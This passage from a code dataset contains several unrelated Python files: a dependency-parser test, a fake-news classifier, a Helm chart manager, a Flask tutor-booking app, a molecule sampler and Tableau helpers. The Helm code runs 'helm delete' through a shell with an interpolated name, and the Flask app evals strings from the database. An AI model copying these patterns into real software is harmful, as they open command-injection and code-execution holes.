#print(s_s, s_l, s_r)\n if (s_s >= s_l and s_s >= s_r and len(queue)>0) or len(stack) <2:\n stack.append(queue.pop(0))\n #print(stack)\n elif s_l >= s_r:\n heads[stack[-2][0]] = stack[-1][0]\n stack.pop(-2)\n else:\n heads[stack[-1][0]] = stack[-2][0]\n stack.pop(-1)\n\n return heads\n\n\ndef UpdateWeights(weights, features, predict,correct):\n for key in features.keys():\n weights[predict][key] -= features[key]\n weights[correct][key] += features[key]\n return weights\n\ndef PredictScore(weight, features):\n score = 0\n for key in features.keys():\n score += weight[key] * features[key]\n\n return score\n\n\n\ndef MakeFeatures(stack, queue):\n features = defaultdict(int)\n if len(queue) > 0 and len(stack) >0:\n features[\"W-1\" + stack[-1][1] + \",W0\" + queue[0][1]] += 1\n features[\"W-1\" + stack[-1][1] + \",P0\" + queue[0][2]] += 1\n features[\"P-1\" + stack[-1][2] + \",W0\" + queue[0][1]] += 1\n features[\"P-1\" + stack[-1][2] + \",P0\" + queue[0][2]] += 1\n if len(stack) > 1:\n features[\"W-2\" + stack[-2][1] + \",W-1\" + stack[-1][1]] += 1\n features[\"W-2\" + stack[-2][1] + \",P-1\" + stack[-1][2]] += 1\n features[\"P-2\" + stack[-2][2] + \",W-1\" + stack[-1][1]] += 1\n features[\"P-2\" + stack[-2][2] + \",P-1\" + stack[-1][2]] += 1\n return features\n #print(\"W-1\" + stack[-1][1] + \",W0\" + queue[0][1])\n\nif __name__ == \"__main__\":\n\n #g_file = '../../test/08-grammar.txt'\n input_file = '../../data/mstparser-en-test.dep'\n\n deb_n = 1\n\n data = []\n queue = []\n orig = []\n heads_l =[]\n\n with open(input_file, 'rt') as ff:\n for jj, line in enumerate(ff):\n #if jj >= deb_n and jj <= deb_n :\n if len(line) == 1:\n data.append(queue)\n orig.append(queue[:])\n queue = []\n else:\n cols = line.strip().split('\\t')\n #print(cols)\n queue.append([int(cols[0]),cols[1],cols[3]])\n\n #print(data)\n\n with open('sr_weights', 'rb') as ff:\n weights = pickle.load(ff)\n\n #print(weights)\n\n for queue in data:\n heads = ShiftReduceTrain(queue, weights )\n heads_l.append(heads)\n\n\n with open('sr_output.txt','wt') as ff:\n for ii, orig_q in enumerate(orig):\n for jj, col in enumerate(orig_q):\n print('{}\\t{}\\t{}\\t{}\\t{}\\t_\\t{}\\t_'\\\n .format(col[0],col[1],col[1],col[2],col[2],heads_l[ii][jj+1]),file=ff)\n print(file=ff)\n","sub_path":"kohei4/tutorial11/test-sr.py","file_name":"test-sr.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"484001122","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression, LinearRegression\nfrom sklearn.svm import SVC\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.naive_bayes import BernoulliNB\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.neural_network import MLPClassifier\nfrom collections import Counter\nimport tensorflow as tf\nimport matplotlib\nimport warnings\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics.classification import classification_report, confusion_matrix, precision_recall_fscore_support\nimport time\n\nwarnings.simplefilter('ignore')\n\nmodule_name = [\"universal\", \"universal_large\", \"nnlm_dim50\",\n \"nnlm_dim128\", \"nnlm_dim128_norm\", \"word2vec\", \"word2vec_250_norm\"]\ntarget_names = ['REAL', 'FAKE']\n\n# define my write and read list functions\nimport pickle\ndef my_wlist(location, my_list):\n with open(location, 'wb') as f:\n pickle.dump(len(my_list),f)\n for item in my_list:\n pickle.dump(item, f)\n\ndef my_rlist(location):\n my_list = []\n with open(location, 'rb') as f:\n length=int(pickle.load(f))\n for i in range(1,length+1):\n temp = pickle.load(f)\n my_list.append(temp)\n return my_list\n\n# define general write and read functions\ndef my_write(location, my_list):\n with open(location, 'w') as f:\n f.write(\"%d %d\\n\" % (my_list.shape[0], my_list.shape[1]))\n for item in my_list:\n f.write(\"%s\\n\" % item)\n\ndef my_read(location, length):\n my_list = []\n with open(location, 'r') as f:\n for i in range(length):\n temp = f.readline()\n my_list.append(temp)\n return my_list\n\n# define train-validation-test split function\ndef my_split_train_vali_test(X, y):\n # make the split reproducible\n random_state = 42\n\n # get our split percentages\n validation_size = .25\n test_size = .25\n validation_test_size = validation_size + test_size\n test_size_adjusted = test_size / validation_test_size\n\n # perform the first split which gets us the train data and the validation/test data that\n # we must split one more time\n X_train, X_validation_test, y_train, y_validation_test = train_test_split(X, y,\\\n test_size = validation_test_size,\\\n random_state = random_state)\n\n # perform the second split which splits the validation/test data into two distinct datasets\n X_validation, X_test, y_validation, y_test = train_test_split(X_validation_test, y_validation_test,\\\n test_size = test_size_adjusted,\\\n random_state = random_state)\n return [X_train, X_validation, X_test, y_train, y_validation, y_test]\n\ndef my_split_train_test(X, y):\n return train_test_split(X,y,test_size=0.33, random_state=42)\n\ndf = pd.read_csv('data/df_news.csv', index_col=0)\ndf.drop('Unnamed: 0.1', axis=1, inplace=True)\ny = df['fake'].values\ny.shape\n\n# Read embedding title from saved file\n# universal_title = my_rlist('data/embeddings/message_universal_title')\n# universal_large_title = my_rlist('data/embeddings/message_universal_large_title')\n# nnlm_dim50_title = my_rlist('data/embeddings/message_nnlm_dim50_title')\n# nnlm_dim128_title = my_rlist('data/embeddings/message_nnlm_dim128_title')\n# nnlm_dim128_norm_title = my_rlist('data/embeddings/message_nnlm_dim128_norm_title')\n# word2vec_title = my_rlist('data/embeddings/message_word2vec_title')\n# word2vec_250_norm_title = my_rlist('data/embeddings/message_word2vec_250_norm_title')\n\n# Read embedding text from saved file\nuniversal_text = my_rlist('data/embeddings/message_universal')\nuniversal_large_text = my_rlist('data/embeddings/message_universal_large')\nnnlm_dim50_text = my_rlist('data/embeddings/message_nnlm_dim50')\nnnlm_dim128_text = my_rlist('data/embeddings/message_nnlm_dim128')\nnnlm_dim128_norm_text = my_rlist('data/embeddings/message_nnlm_dim128_norm')\nword2vec_text = my_rlist('data/embeddings/message_word2vec')\nword2vec_250_norm_text = my_rlist('data/embeddings/message_word2vec_250_norm')\n\n# Read embedding title_text from saved file\nuniversal_title_text = my_rlist('data/embeddings/message_universal_title_text')\nuniversal_large_title_text = my_rlist('data/embeddings/message_universal_large_title_text')\nnnlm_dim50_title_text = my_rlist('data/embeddings/message_nnlm_dim50_title_text')\nnnlm_dim128_title_text = my_rlist('data/embeddings/message_nnlm_dim128_title_text')\nnnlm_dim128_norm_title_text = my_rlist('data/embeddings/message_nnlm_dim128_norm_title_text')\nword2vec_title_text = my_rlist('data/embeddings/message_word2vec_title_text')\nword2vec_250_norm_title_text = my_rlist('data/embeddings/message_word2vec_250_norm_title_text')\n\n# embedding_title_list = [universal_title, universal_large_title, nnlm_dim50_title,\n# nnlm_dim128_title, nnlm_dim128_norm_title, word2vec_title, word2vec_250_norm_title]\nembedding_text_list = [universal_text, universal_large_text, nnlm_dim50_text,\n nnlm_dim128_text, nnlm_dim128_norm_text, word2vec_text, word2vec_250_norm_text]\nembedding_title_text_list = [universal_title_text, universal_large_title_text, nnlm_dim50_title_text,\n nnlm_dim128_title_text, nnlm_dim128_norm_title_text, word2vec_title_text,\n word2vec_250_norm_title_text]\n\nfrom collections import Counter\nimport tensorflow as tf\ndef dense_to_one_hot(labels_dense, num_classes=2):\n \"\"\"Convert class labels from scalars to one-hot vectors\"\"\"\n num_labels = labels_dense.shape[0]\n index_offset = np.arange(num_labels) * num_classes\n labels_one_hot = np.zeros((num_labels, num_classes))\n labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1\n\n return labels_one_hot\n\nimport tflearn\n\ndef my_tflearn(X_train, X_test, y_train, y_test, length):\n\n batch_size =60\n\n net = tflearn.input_data(shape=[None, length])\n net = tflearn.fully_connected(net, int(length/12), activation='relu')\n net = tflearn.fully_connected(net, int(length/16), activation='relu')\n #net = tflearn.fully_connected(net, int(length/16), activation='relu', regularizer='L2', weight_decay=0.001)\n net = tflearn.fully_connected(net, 2, activation='softmax')\n\n net = tflearn.regression(net, optimizer='adam')\n\n # Define model\n model = tflearn.DNN(net)\n # Start training (apply gradient descent algorithm)\n model.fit(X_train, y_train, n_epoch=int(X_train.shape[0]/batch_size), batch_size=batch_size, show_metric=True,validation_set=0.1)# validation_set=0\n\n pred = model.predict(X_test)\n for i in pred:\n if i[0] < i[1]:\n i[0] = 0\n i[1] = 1\n else:\n i[0] = 1\n i[1] = 0\n\n count=0\n for i in range(X_test.shape[0]):\n if (pred[i][0] == y_test[i][0]) and (pred[i][1] == y_test[i][1]):\n count+=1\n\n print(count/X_test.shape[0])\n\n# embedding_title_list = [universal_title, universal_large_title, nnlm_dim50_title,\n# nnlm_dim128_title, nnlm_dim128_norm_title, word2vec_title, word2vec_250_norm_title]\n# embedding_text_list = [universal_text, universal_large_text, nnlm_dim50_text,\n# nnlm_dim128_text, nnlm_dim128_norm_text, word2vec_text, word2vec_250_norm_text]\n# embedding_title_text_list = [universal_title_text, universal_large_title_text, nnlm_dim50_title_text,\n# nnlm_dim128_title_text, nnlm_dim128_norm_title_text, word2vec_title_text,\n# word2vec_250_norm_title_text]\n\nX_ivy = np.load('./data/X.npy')\ny_ivy = np.load('./data/y.npy')\nprint(X_ivy.shape)\nprint(y_ivy.shape)\n\nX_train, X_test, y_train, y_test = my_split_train_test(X_ivy, y_ivy)\n#X_train, X_test, y_train, y_test = np.array(X_train, dtype=np.float32), np.array(X_test, dtype=np.float32), np.array(y_train, dtype=np.float32), np.array(y_test, dtype=np.float32)\ny_train = dense_to_one_hot(y_train)\ny_test = dense_to_one_hot(y_test)\nX_train, X_test = np.array(X_train, dtype=np.float32), np.array(X_test, dtype=np.float32)\n\nmy_tflearn(X_train, X_test, y_train, y_test, X_train.shape[1])\nprint(X_train.shape[1])\n\n\n#m.fit(np.asarray(universal_large_title_text), y, n_epoch=1000, show_metric=True, snapshot_epoch=False)\n\n# universal_large_text 12 16 relu relu\n# 0.9134134134134134\n# nnlm_dim50_text 2 4 relu relu\n# 0.8543543543543544\n# nnlm_dim128_text 4 8 relu relu\n# 0.9024024024024024\n# nnlm_dim128_norm_text 4 8 tanh tanh\n# 0.8998998998998999\n# word2vec_text 8 12 tanh tanh\n# 0.8928928928928929\n# word2vec_250_norm_text 8 12 tanh tanh\n# 0.8943943943943944\n","sub_path":"codes/Stella/tf.py","file_name":"tf.py","file_ext":"py","file_size_in_byte":8844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"392929143","text":"\"\"\"\nThis file should take care of downloading/installing/uninstalling repos\n\nRelies on PyHelm https://github.com/flaper87/pyhelm\n\nClones repos in securethebox organization\nhttps://github.com/securethebox\n\nsecurethebox org repos should contain all the helm charts \n\nRequired a tiller service to connect to which should be listening on port 44134\n\n\"\"\"\nfrom pyhelm.chartbuilder import ChartBuilder\nfrom pyhelm.tiller import Tiller\nimport pyhelm.logger as logger\n\nfrom hapi.services.tiller_pb2 import GetReleaseContentRequest\nfrom hapi.chart.template_pb2 import Template\nfrom hapi.chart.chart_pb2 import Chart\nfrom hapi.chart.metadata_pb2 import Metadata\nfrom hapi.chart.config_pb2 import Config\nfrom supermutes.dot import dotify\n\nimport yaml \nimport subprocess\nimport re\n\nclass HelmChart:\n def __init__(self):\n self.chart_name = \"\"\n self.source_type = \"\"\n self.source_location = \"\"\n self.tiller_host = \"\"\n self.kubernetes_namespace = \"\"\n self.release_name = \"\"\n self.releaseNamespaceDict = {}\n self.chartReleaseNameDict = {}\n self.chart = \"\"\n self.chartValuesYaml = \"\"\n\n # internal chart name\n def setName(self, name):\n self.chart_name = name\n\n # git, dir\n def setType(self,type):\n self.source_type = type\n \n # Github URL\n def setLocation(self, location):\n self.source_location = location\n\n # tiller host\n def setHost(self, host):\n self.tiller_host = host \n\n # kubernetes namespace\n def setNamespace(self, namespace):\n self.kubernetes_namespace = namespace\n\n # load helm chart\n def loadChart(self):\n chart = ChartBuilder(\n {\"name\": self.chart_name, \n \"source\": {\n \"type\": self.source_type, \n \"location\": self.source_location\n }\n })\n self.setChart(chart.get_helm_chart())\n \n def setChart(self, chart):\n self.chart = chart\n\n def parseChart(self):\n yamlstring = str(self.chart).replace('\\\\n','\\n')\n print(yamlstring)\n \n def getvalues(self):\n chart = ChartBuilder(\n {\"name\": self.chart_name, \n \"source\": {\n \"type\": self.source_type, \n \"location\": self.source_location\n }\n })\n rawstring = chart.get_values()\n v = str(str(rawstring).split(\"raw: \",1)[1][1:][:-2].replace(\"\\\\n\",\"\\n\"))\n ydata = yaml.safe_load(v)\n \n return ydata\n\n def getfiles(self):\n chart = ChartBuilder(\n {\"name\": self.chart_name, \n \"source\": {\n \"type\": self.source_type, \n \"location\": self.source_location\n }\n })\n return chart.get_files()\n # print()\n\n def getChartValuesYaml(self):\n # length_lines = len(str(self.chart).split('\\n'))\n chart_lines = str(self.chart).splitlines()\n for index, value in enumerate(chart_lines):\n if \"values {\" in value:\n # REMEMBER TO REPLACE \\n WITH \\\\n when we convert it back to RAW\n raw_yaml = chart_lines[index+1].split(\"raw: \",1)[1][1:][:-1].replace('\\\\n','\\n')\n load_yaml = str(raw_yaml)\n self.chartValuesYaml = yaml.safe_load(load_yaml)\n return self.chartValuesYaml\n\n # update the values section within chart\n def setChartValuesYaml(self,new_values):\n # Find line need to replace\n print(type(self.chart))\n chart_lines = str(self.chart).splitlines()\n for index, value in enumerate(chart_lines):\n if \"values {\" in value:\n # REMEMBER TO REPLACE \\n WITH \\\\n when we convert it back to RAW\n prev_values = chart_lines[index+1].split(\"raw: \",1)[1][1:][:-1].replace('\\\\n','\\n')\n # print(yaml.safe_load(prev_values))\n chart_lines[index+1] = chart_lines[index+1].replace(prev_values, new_values.replace('\\n','\\\\n'))\n\n \n self.chart = '\\n'.join(chart_lines)\n\n def createChart(self):\n chart = ChartBuilder(\n {\"name\": self.chart_name, \n \"source\": {\n \"type\": self.source_type, \n \"location\": self.source_location\n }\n })\n\n rawstring = chart.get_values()\n v = str(str(rawstring).split(\"raw: \",1)[1][1:][:-2].replace(\"\\\\n\",\"\\n\"))\n ydata = yaml.safe_load(v) \n # print(ydata)\n ydata[\"host\"] = \"this.is.lit.local\"\n newyaml = yaml.safe_dump(ydata)\n rawl = Config(raw=newyaml)\n\n dependencies = []\n\n \n helm_chart = Chart(\n metadata=chart.get_metadata(),\n templates=chart.get_templates(),\n dependencies=dependencies,\n values=rawl,\n files=chart.get_files(),\n )\n self.chart = helm_chart\n\n tiller = Tiller(self.tiller_host)\n tiller.install_release(\n self.chart, \n dry_run=False, \n namespace=self.kubernetes_namespace)\n\n # install helm chart\n def installChart(self):\n tiller = Tiller(self.tiller_host)\n tiller.install_release(\n self.chart, \n dry_run=False, \n namespace=self.kubernetes_namespace)\n\n # matches all deployed helm charts to repective namespace\n def loadReleasesForNamespaceDict(self):\n tiller = Tiller(self.tiller_host)\n releaseData = tiller.list_releases(namespace=self.kubernetes_namespace)\n for x in releaseData:\n length_lines = len(str(x).split('\\n'))\n find_namespace = re.findall('\"([^\"]*)\"',str(str(x).splitlines()[length_lines-2]).partition('\\n')[0])\n namespace = find_namespace[0]\n find_name = re.findall('\"([^\"]*)\"',str(x).partition('\\n')[0])\n release_name = find_name[0]\n self.releaseNamespaceDict[release_name] = namespace\n\n # match releases to chart\n def listCharts(self):\n tiller = Tiller(self.tiller_host)\n chartData = tiller.list_charts()\n for x in chartData:\n find_release_name = re.findall(\"'(.*?)'\",str(str(x).splitlines()[0]).partition('\\n')[0])\n release_name = find_release_name[0]\n find_chart_name = re.findall('\"([^\"]*)\"',str(str(x).splitlines()[1]).partition('\\n')[0])\n chart_name = find_chart_name[0]\n self.chartReleaseNameDict[release_name] = chart_name\n\n def deleteAllReleasesForNamespace(self, namespace):\n for key in self.releaseNamespaceDict:\n if self.releaseNamespaceDict[key] == namespace:\n self.uninstallRelease(key)\n\n def uninstallRelease(self, release_name):\n tiller = Tiller(self.tiller_host)\n tiller.uninstall_release(release=release_name, disable_hooks=False, purge=True)\n\n def deleteChart(self):\n subprocess.Popen([f\"helm delete {self.release_name} --purge --host=\\\"{self.tiller_host}:44134\\\"\"],shell=True).wait()\n \n def getChart(self):\n return self.chart\n\nif __name__ == \"__main__\":\n hc = HelmChart()\n hc.setName(\"defectdojo\")\n hc.setType(\"git\")\n hc.setHost(\"localhost\")\n # Ideally each user should have their own namespace\n hc.setNamespace(\"default\")\n hc.setLocation(\"https://github.com/securethebox/defectdojo.git\")\n hc.loadChart()\n # hc.createChart()\n # hc.getvalues()\n # valuesyaml = hc.getChartV aluesYaml()\n # ydata = yaml.safe_load(valuesyaml)\n # valuesyaml[\"host\"] = \"testing🔥🔥🔥\"\n # newyaml = yaml.safe_dump(valuesyaml)\n # hc.setChartValuesYaml(newyaml)\n # hc.installChart()\n # hc.setChartValuesYaml(\" raw: \\\"🔥🔥🔥🔥🔥🔥🔥🔥🔥\\\"\")\n # hc.listCharts()\n hc.loadReleasesForNamespaceDict()\n hc.deleteAllReleasesForNamespace(\"default\")\n","sub_path":"app_controllers/applications/helm_chart.py","file_name":"helm_chart.py","file_ext":"py","file_size_in_byte":7874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"650396280","text":"def Factorial(x):\r\n i = 1\r\n prod = 1\r\n while i<=x:\r\n prod=prod*i\r\n i=i+1\r\n return(prod)\r\nprod = str(Factorial(100))\r\nSeq = []\r\nfor i in range(len(prod)):\r\n Seq.append(int(prod[i]))\r\nSum = sum(Seq)\r\nprint(Sum)","sub_path":"achieve20.py","file_name":"achieve20.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"382877741","text":"from typing import List\n\nimport numpy as np\nimport reinvent_models.lib_invent.models.dataset as md\nimport torch.utils.data as tud\nfrom reinvent_chemistry import Conversions\nfrom reinvent_chemistry.library_design import BondMaker, AttachmentPoints\nfrom reinvent_chemistry.utils import get_indices_of_unique_smiles\nfrom reinvent_models.model_factory.generative_model_base import GenerativeModelBase\n\nfrom running_modes.reinforcement_learning.actions import BaseAction\nfrom running_modes.reinforcement_learning.dto.sampled_sequences_dto import SampledSequencesDTO\n\n\nclass LibInventSampleModel(BaseAction):\n\n def __init__(self, model: GenerativeModelBase, batch_size: int, logger=None, randomize=False, sample_uniquely=True):\n \"\"\"\n Creates an instance of SampleModel.\n :params model: A model instance (better in scaffold_decorating mode).\n :params batch_size: Batch size to use.\n :return:\n \"\"\"\n super().__init__(logger)\n self.model = model\n self._batch_size = batch_size\n self._bond_maker = BondMaker()\n self._attachment_points = AttachmentPoints()\n self._randomize = randomize\n self._conversions = Conversions()\n self._sample_uniquely = sample_uniquely\n\n def run(self, scaffold_list: List[str]) -> List[SampledSequencesDTO]:\n \"\"\"\n Samples the model for the given number of SMILES.\n :params scaffold_list: A list of scaffold SMILES.\n :return: A list of SampledSequencesDTO.\n \"\"\"\n scaffold_list = self._randomize_scaffolds(scaffold_list) if self._randomize else scaffold_list\n clean_scaffolds = [self._attachment_points.remove_attachment_point_numbers(scaffold) for scaffold in scaffold_list]\n dataset = md.Dataset(clean_scaffolds, self.model.get_vocabulary().scaffold_vocabulary,\n self.model.get_vocabulary().scaffold_tokenizer)\n dataloader = tud.DataLoader(dataset, batch_size=len(dataset), shuffle=False, collate_fn=md.Dataset.collate_fn)\n\n for batch in dataloader:\n sampled_sequences = []\n\n for _ in range(self._batch_size):\n scaffold_seqs, scaffold_seq_lengths = batch\n packed = self.model.sample(scaffold_seqs, scaffold_seq_lengths)\n for scaffold, decoration, nll in packed:\n sampled_sequences.append(SampledSequencesDTO(scaffold, decoration, nll))\n\n if self._sample_uniquely:\n sampled_sequences = self._sample_unique_sequences(sampled_sequences)\n\n return sampled_sequences\n\n def _sample_unique_sequences(self, sampled_sequences: List[SampledSequencesDTO]) -> List[SampledSequencesDTO]:\n strings = [\"\".join([ss.input, ss.output]) for index, ss in enumerate(sampled_sequences)]\n unique_idxs = get_indices_of_unique_smiles(strings)\n sampled_sequences_np = np.array(sampled_sequences)\n unique_sampled_sequences = sampled_sequences_np[unique_idxs]\n return unique_sampled_sequences.tolist()\n\n def _randomize_scaffolds(self, scaffolds: List[str]):\n scaffold_mols = [self._conversions.smile_to_mol(scaffold) for scaffold in scaffolds]\n randomized = [self._bond_maker.randomize_scaffold(mol) for mol in scaffold_mols]\n return randomized\n","sub_path":"running_modes/reinforcement_learning/actions/lib_invent_sample_model.py","file_name":"lib_invent_sample_model.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"649511169","text":"from flask import render_template, request\nimport json\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField\nfrom wtforms import RadioField\nfrom wtforms import SubmitField\nfrom wtforms import HiddenField\nfrom wtforms import SelectField\nfrom wtforms.validators import InputRequired, Length\nfrom sqlalchemy.sql import func\n\nfrom app import app, db, Teacher, Goal, Booking, Request, TimeHave, WeekDay\n\nwith open(\"goals.json\", \"r\", encoding='utf-8') as f:\n goals = json.load(f)\nwith open(\"teachers.json\", \"r\", encoding='utf-8') as f:\n teachers = json.load(f)\n\nTEACHERS_LIMIT = 6\n\ngoals_pict = dict(map(\n lambda goal:\n (goal[1].name_english, (goal[1].name_rus, goal[1].picture, 'goal' + str(goal[0]))),\n enumerate(db.session.query(Goal).all(), 1)\n))\n\ntime_have = list(map(\n lambda time:\n (\"time\" + str(time[0]), time[1].time),\n enumerate(db.session.query(TimeHave).all(), 1)\n))\n\ndays_of_week = dict(\n (day.name_english_long[0:3],\n (day.name_rus,\n day.name_english_long))\n for day in db.session.query(WeekDay).all())\n\nrequest_goal_choices = [(goal.name_english, goal.name_rus) for goal in db.session.query(Goal).all()]\n\n\nclass FormRequest(FlaskForm):\n name = StringField(\"Вас зовут\", [InputRequired(message=\"Необходимо указать имя\"),\n Length(min=2, max=50, message=\"Имя %(min)d - %(max)d символов\")])\n phone = StringField(\"Ваш телефон\", [InputRequired(message=\"Необходимо ввести ваш номер телефона\"),\n Length(max=15, message=\"Слишком много символов в номере телефона\")])\n goal = RadioField('Какая цель занятий?', choices=request_goal_choices, default=request_goal_choices[0][0])\n time = RadioField('Сколько времени есть?', choices=time_have, default=time_have[0][0])\n submit = SubmitField('Найдите мне преподавателя')\n\n\nclass BookingToTeacher(FlaskForm):\n name = StringField(\"Вас зовут\", [InputRequired(message=\"Необходимо указать имя\"),\n Length(min=2, max=50, message=\"Имя %(min)d - %(max)d символов\")])\n phone = StringField(\"Ваш телефон\", [InputRequired(message=\"Необходимо ввести ваш номер телефона\"),\n Length(max=15, message=\"Слишком много символов в номере телефона\")])\n submit = SubmitField('Записаться на пробный урок')\n weekday = HiddenField(\"День недели для записи\")\n time = HiddenField(\"Часы занятий для записи\")\n teacher = HiddenField(\"Id учителя\")\n\n\nclass SortTeachers(FlaskForm):\n sort_type = SelectField(\"Сортировка преподавателей\",\n choices=[(\"Случайно\", \"В случайном порядке\"),\n (\"Рейтинг\", \"Сначала лучшие по рейтингу\"),\n (\"Дорогие\", \"Сначала дорогие\"),\n (\"Недорогие\", \"Сначала недорогие\")])\n submit = SubmitField('Сортировать')\n\n\ndef free_time_exist(teacher_id, day, time):\n my_teacher = db.session.query(Teacher).get(teacher_id)\n teacher_free = eval(my_teacher.free)\n if time in list(teacher_free.values())[0].keys() and \\\n teacher_free[day[0:3]][time]:\n return True\n return False\n\n\n@app.route('/')\n# здесь будет главная\ndef render_main():\n teachers_list = db.session.query(Teacher).order_by(func.random()).limit(TEACHERS_LIMIT)\n return render_template('index.html', teachers=teachers_list, goals=goals_pict)\n\n\n@app.route('/all/', methods=[\"POST\", \"GET\"])\n# здесь будут преподаватели\ndef render_all():\n form = SortTeachers()\n teachers_query = db.session.query(Teacher)\n teachers_sort = []\n if request.method == 'POST':\n sort_type = form.sort_type.data\n if sort_type == form.sort_type.choices[0][0]:\n teachers_sort = teachers_query.order_by(func.random()).all()\n if sort_type == form.sort_type.choices[1][0]:\n teachers_sort = teachers_query.order_by(Teacher.rating.desc()).all()\n if sort_type == form.sort_type.choices[2][0]:\n teachers_sort = teachers_query.order_by(Teacher.price.desc()).all()\n if sort_type == form.sort_type.choices[3][0]:\n teachers_sort = teachers_query.order_by(Teacher.price).all()\n else:\n teachers_sort = teachers_query.all()\n return render_template('all.html', teachers=teachers_sort, form=form)\n\n\n@app.route('/goals//')\n# здесь будет цель \ndef render_goal(goal):\n if not db.session.query(Goal).filter(Goal.name_english == goal).all():\n return render_template('str_404.html', error='Неверно указана цель обучения'), 404\n teachers_goal = []\n teachers_all = db.session.query(Teacher).order_by(Teacher.rating.desc()).all()\n goal_tek = db.session.query(Goal).filter(Goal.name_english == goal).scalar()\n for teacher in teachers_all:\n if goal_tek in teacher.goals:\n teachers_goal.append(teacher)\n# teachers_goal = db.session.query(Teacher).filter(goal in Teacher.goals.name_english).all()\n# [a for a in teachers if goal in a['goals']] order_by(Teacher.rating.desc()).\n return render_template('goal.html', teachers=teachers_goal, goal=goals_pict[goal])\n\n\n@app.route('/profiles//')\n# здесь будет преподаватель \ndef render_profile(teacher_id):\n teacher_query = db.session.query(Teacher).get_or_404(teacher_id, description='Неверно указан код преподавателя')\n teacher = {\n \"id\": teacher_query.id,\n \"name\": teacher_query.name,\n \"about\": teacher_query.about,\n \"rating\": teacher_query.rating,\n \"picture\": teacher_query.picture,\n \"price\": teacher_query.price,\n \"goals\": [goal.name_english for goal in teacher_query.goals],\n \"free\": eval(teacher_query.free)\n }\n return render_template('profile.html', teacher=teacher, goals=goals_pict, days_of_week=days_of_week)\n\n\n@app.route('/request/', methods=[\"POST\", \"GET\"])\n# здесь будет заявка на подбор\ndef render_request():\n form = FormRequest()\n if form.validate_on_submit():\n goal = goals_pict[form.goal.data][0]\n time = dict(time_have)[form.time.data]\n name = form.name.data\n phone = form.phone.data\n db.session.add(Request(\n learner=name,\n phone=phone,\n goal=db.session.query(Goal).filter(Goal.name_rus == goal).scalar(),\n time=db.session.query(TimeHave).filter(TimeHave.time == time).scalar(),\n ))\n db.session.commit()\n return render_template('request_done.html', request_param=[goal, time, name, phone])\n return render_template('request.html', form=form)\n\n\n@app.route('/booking////', methods=[\"POST\", \"GET\"])\n# здесь будет форма бронирования \ndef render_booking(teacher_id=None, day_of_week=None, time_booking=None):\n form = BookingToTeacher()\n if form.validate_on_submit():\n print(\"booking.validate_on_submit()\")\n days = dict([(day_rus_eng[1], [day_rus_eng[0], day_eng]) for day_eng, day_rus_eng in days_of_week.items()])\n day = days[form.weekday.data][0]\n time = form.time.data + \":00\"\n name = form.name.data\n phone = form.phone.data\n booking_param = [day, time, name, phone]\n db.session.add(Booking(\n learner=name,\n phone=phone,\n weekday=db.session.query(WeekDay).filter(WeekDay.name_english_long == day_of_week).scalar(),\n time=time,\n teacher=db.session.query(Teacher).get(teacher_id),\n ))\n db.session.commit()\n return render_template('booking_done.html', booking_param=booking_param)\n teacher_query = db.session.query(Teacher).get_or_404(teacher_id, description='Неверно указан код преподавателя')\n days = dict((day_eng, day_rus) for day_rus, day_eng in days_of_week.values())\n if request.method == \"GET\" and (\n (day_of_week not in days.keys()) or\n not free_time_exist(teacher_id, day_of_week, time_booking + \":00\")):\n return render_template('str_404.html', error='Неверно указаны день недели или время бронирования'), 404\n day_booking = [days[day_of_week], day_of_week]\n form.weekday.data = day_of_week\n form.time.data = time_booking\n form.teacher.data = str(teacher_id)\n return render_template('booking.html', teacher=teacher_query, day_booking=day_booking, form=form)\n\n\n@app.errorhandler(404)\ndef render_not_found(error):\n return render_template('str_404.html', error=error), 404\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"527429503","text":"# -*- coding: utf-8 -*-\n\nfrom ..tableau_base import *\n\n\nclass TableauColumns(TableauBase):\n def __init__(self, columns_list, logger_obj=None):\n self.logger = logger_obj\n self.log(u'Initializing a TableauColumns object')\n self.__translation_dict = None\n # List of lxml columns objects\n self.columns_list = columns_list\n\n def set_translation_dict(self, trans_dict):\n self.start_log_block()\n self.__translation_dict = trans_dict\n self.end_log_block()\n\n def translate_captions(self):\n self.start_log_block()\n for column in self.columns_list:\n if column.getroot().get('caption') is None:\n trans = self.__find_translation(column.getroot().get('name'))\n else:\n # Try to match caption first, if not move to name\n trans = self.__find_translation(column.getroot().get('caption'))\n if trans is None:\n trans = self.__find_translation(column.getroot().get('name'))\n if trans is not None:\n column.getroot().set('caption', trans)\n self.end_log_block()\n\n def __find_translation(self, match_str):\n self.start_log_block()\n d = self.__translation_dict.get(match_str)\n self.end_log_block()\n return d\n\n\nclass TableauParameterColumns(TableauBase):\n def __init__(self, columns_list, logger_obj=None):\n self.logger = logger_obj\n self.log(u'Initializing a TableauColumns object')\n # List of lxml columns objects\n self.columns_list = columns_list\n\n #def get_parameter_by_name(self):\n #for col in self.columns_list:\n # for col.get()\n\n","sub_path":"tableau_tools/tableau_documents/tableau_document.py","file_name":"tableau_document.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"36901679","text":"#!/usr/bin/env python\nfrom public import *\n\n@public\ndef attrcopy(self,src,attrs=[]):\n if not attrs:\n attrs = src.__dict__.keys()\n for a in attrs:\n \tif hasattr(src,a):\n \tv = getattr(src,a)\n \tif v is not None:\n 